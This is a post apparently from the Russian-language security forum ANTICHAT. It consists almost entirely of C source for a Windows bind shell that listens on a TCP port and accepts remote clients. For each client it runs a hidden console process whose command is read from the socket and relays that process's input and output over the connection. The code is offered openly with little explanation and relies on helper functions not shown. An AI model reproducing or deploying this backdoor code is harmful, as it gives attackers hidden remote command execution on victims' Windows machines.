ANTICHAT — форум по информационной безопасности, OSINT и технологиям

SOCKET s;
int port = 31337;

DWORD WINAPI ToClient(LPVOID client_socket)
{
	char buf[1024];
	DWORD fexit;
	char s_str[255];

	s =((SOCKET *) client_socket)[0];

	//а здесь будет создаватся пайп, запускатся консоль, итд...
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	SECURITY_ATTRIBUTES sa;

	DWORD N, total;

	HANDLE cstdin, wstdin, rstdout, cstdout;
			
	sa.lpSecurityDescriptor = NULL;
	sa.nLength = sizeof(sa);
	sa.bInheritHandle = TRUE;

	if (!CreatePipe(&cstdin, &wstdin, &sa, 0))
		return -1;
	if (!CreatePipe(&rstdout, &cstdout, &sa, 0))
		return -1;

	GetStartupInfoA(&si);
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.wShowWindow = FALSE;
	si.hStdOutput = cstdout;
	si.hStdError = cstdout;
	si.hStdInput = cstdin;

	getstr(s_str, 63);

	if (!CreateProcessA(0, s_str, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi))
		return -1;

	while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE))
	{
		GSleep(1);
		if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)
		{
			for (int i = 0; i < (int)total; i += 1)
			{
				ReadFile(rstdout, buf, 1, &N, 0);
				send(s, buf, N, 0);
			}
		}

		if (!ioctlsocket(s, FIONREAD , &N) && N)
		{
			recv(s, buf, 1, 0);
			WriteFile(wstdin, buf, 1, &N, 0);
		}
	}
	TerminateProcess(pi.hProcess, 0);
	TerminateThread(pi.hThread, 0);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);

	DbgMsg(__FILE__, __LINE__, "SHELL: client disconnected\n");

	closesocket(s);

	return 0;
}

DWORD WINAPI bindshell_main(LPVOID param)
{
	struct sockaddr_in local;
	SOCKET s;
	
	local.sin_family = AF_INET; 
	local.sin_port = htons(shell_port);
	local.sin_addr.s_addr = 0;

	s = socket(AF_INET, SOCK_STREAM,0); 

	if (s == INVALID_SOCKET)
        return -1;

	if (bind(s, (struct sockaddr*)&local, sizeof(local)) == SOCKET_ERROR) 
        return -1;

	DbgMsg(__FILE__, __LINE__, "SHELL: binded at %d port\n", 
		shell_port);

	if (Glisten(s, 0x100))
    {
		closesocket(s);
		return -1;
    }

	DbgMsg(__FILE__, __LINE__, "SHELL: waiting for connections...\n");

	SOCKET client_socket;    
    sockaddr_in client_addr;  

	int client_addr_size=sizeof(client_addr);
	while((client_socket = (SOCKET)accept(s, (sockaddr *)&client_addr, &client_addr_size)))
    {
   		DWORD thID;

		DbgMsg(__FILE__, __LINE__, "SHELL: client connected, remote addr %s\n", 
			inet_ntoa(client_addr.sin_addr));

		CreateThread(NULL, NULL, ToClient, &client_socket, NULL, &thID);
    }

	closesocket(s);

	return 0;
}